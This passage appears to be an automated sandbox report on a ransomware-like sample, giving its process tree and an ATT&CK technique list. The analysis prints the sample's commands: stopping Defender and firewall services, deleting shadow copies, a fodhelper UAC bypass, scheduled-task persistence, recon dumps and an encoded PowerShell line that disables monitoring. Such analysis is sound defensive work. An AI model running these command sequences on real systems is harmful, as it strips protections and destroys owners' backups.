PID 552 wrote to memory of 3888	552	huntervalentine.com_chrome.exe	117
PID 552 wrote to memory of 5436	552	huntervalentine.com_chrome.exe	118
PID 552 wrote to memory of 5724	552	huntervalentine.com_chrome.exe	120
PID 552 wrote to memory of 5456	552	huntervalentine.com_chrome.exe	122
PID 3888 wrote to memory of 4080	3888	fodhelper.exe	123
PID 552 wrote to memory of 6008	552	huntervalentine.com_chrome.exe	146
PID 552 wrote to memory of 5988	552	huntervalentine.com_chrome.exe	132
PID 552 wrote to memory of 3824	552	huntervalentine.com_chrome.exe	133
PID 552 wrote to memory of 760	552	huntervalentine.com_chrome.exe	184
PID 552 wrote to memory of 3544	552	huntervalentine.com_chrome.exe	140
PID 552 wrote to memory of 4348	552	huntervalentine.com_chrome.exe	142
PID 552 wrote to memory of 4544	552	huntervalentine.com_chrome.exe	143
PID 552 wrote to memory of 388	552	huntervalentine.com_chrome.exe	144
PID 552 wrote to memory of 980	552	huntervalentine.com_chrome.exe	145
PID 552 wrote to memory of 6008	552	huntervalentine.com_chrome.exe	146
PID 552 wrote to memory of 4236	552	huntervalentine.com_chrome.exe	147
PID 552 wrote to memory of 1492	552	huntervalentine.com_chrome.exe	181
PID 552 wrote to memory of 4492	552	huntervalentine.com_chrome.exe	156
PID 552 wrote to memory of 5252	552	huntervalentine.com_chrome.exe	157
PID 3544 wrote to memory of 6080	3544	cmd.exe	158
PID 552 wrote to memory of 2916	552	huntervalentine.com_chrome.exe	159
PID 552 wrote to memory of 4840	552	huntervalentine.com_chrome.exe	160
PID 552 wrote to memory of 2496	552	huntervalentine.com_chrome.exe	161
PID 552 wrote to memory of 1400	552	huntervalentine.com_chrome.exe	162
PID 552 wrote to memory of 472	552	huntervalentine.com_chrome.exe	186
PID 552 wrote to memory of 5728	552	huntervalentine.com_chrome.exe	164
PID 388 wrote to memory of 4216	388	cmd.exe	171
PID 980 wrote to memory of 4108	980	cmd.exe	172
PID 4544 wrote to memory of 1952	4544	cmd.exe	173
PID 4236 wrote to memory of 1376	4236	cmd.exe	174
PID 4348 wrote to memory of 316	4348	cmd.exe	175
PID 4108 wrote to memory of 4192	4108	net.exe	176
PID 6008 wrote to memory of 3652	6008	cmd.exe	177
PID 2496 wrote to memory of 3112	2496	net.exe	178
PID 3544 wrote to memory of 5484	3544	cmd.exe	179
PID 5524 wrote to memory of 864	5524	chrome.exe	182
PID 5524 wrote to memory of 5840	5524	chrome.exe	183
PID 5524 wrote to memory of 5840	5524	chrome.exe	183
PID 5524 wrote to memory of 760	5524	chrome.exe	184
PID 5524 wrote to memory of 760	5524	chrome.exe	184

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://huntervalentine.com
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffdca1ac728,0x7ffdca1ac734,0x7ffdca1ac740
    3⤵
    PID:5096
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,8956228148437905101,5807873571842522135,262144 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=1924 /prefetch:2
    3⤵
    PID:5956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2088,i,18408415410983467638,4038108526707424084,524288 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=2092 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4764
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2236,i,15824336415413395814,2141379490953760292,524288 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:13
    3⤵
    PID:1448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3128,i,3004324743433639111,5495305835340512908,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:1
    3⤵
    PID:3088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3160,i,14994910070370526026,7571582010107316713,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:1
    3⤵
    PID:5480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4568,i,1807453156206957067,5088072938161338799,524288 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=4608 /prefetch:14
    3⤵
    PID:1472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4868,i,18185080571144428083,10010423551199945523,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=4888 /prefetch:1
    3⤵
    PID:5620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3204,i,4202628420435779498,13653353105995027259,524288 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:14
    3⤵
    PID:864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3440,i,14355871057003899760,7725911289761634373,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:1
    3⤵
    PID:5840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5584,i,17469836028656772452,6813405610103526131,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:1
    3⤵
    PID:760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5680,i,17289646132763786671,7350765125802733175,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:1
    3⤵
    PID:5964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5624,i,15819857014544406193,11986236132492065985,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
    3⤵
    PID:4328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5896,i,7096809319877820578,14399446197830253235,524288 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
    3⤵
    PID:988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6160,i,14550596610207487600,9250040260618221540,524288 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:14
    3⤵
    PID:5560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6276,i,952172556752346378,3841739509657420005,524288 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:14
    3⤵
    PID:2800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6280,i,8493478867916285291,12768536946287932503,524288 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:14
    3⤵
    PID:3532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6072,i,1103523004506457522,12948159479251815013,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:1
    3⤵
    PID:2316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6576,i,16774363743443191813,16946572129025767779,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:1
    3⤵
    PID:3488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6596,i,5943920215158495981,14523710709502868660,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:1
    3⤵
    PID:4316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6552,i,9252553571437186293,2711948866898992842,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:1
    3⤵
    PID:3328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5792,i,6882294991876171109,5727532685457178518,524288 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:14
    3⤵
    PID:3684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6088,i,9506995132459344966,2674658405616071603,524288 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:14
    3⤵
    PID:4632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6504,i,4770215616154837690,8913515803430101232,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:9
    3⤵
    PID:392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6512,i,9557324786901981067,15922801557231241393,2097152 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:1
    3⤵
    PID:5380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6552,i,1769149089753599844,4953522512183162228,262144 --field-trial-handle=1928,i,6174201181681589109,5551056940780189480,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:10
    3⤵
    PID:5116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4596
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5688
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4988
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5156
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4908
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1284
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2700
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5964
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe"
    3⤵
    PID:4080
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5436
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5724
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5456
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6008
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5988
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3824
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6080
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5484
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:388
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4216
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:980
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4108
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:4192
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6008
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4236
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1376
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1492
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4492
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5252
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2916
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4840
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3112
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1400
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:472
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5728

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4780

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4456

C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe
C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe
1⤵
PID:3536

C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe
C:\Users\Admin\AppData\Local\Temp\huntervalentine.com_chrome.exe
1⤵
PID:3452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery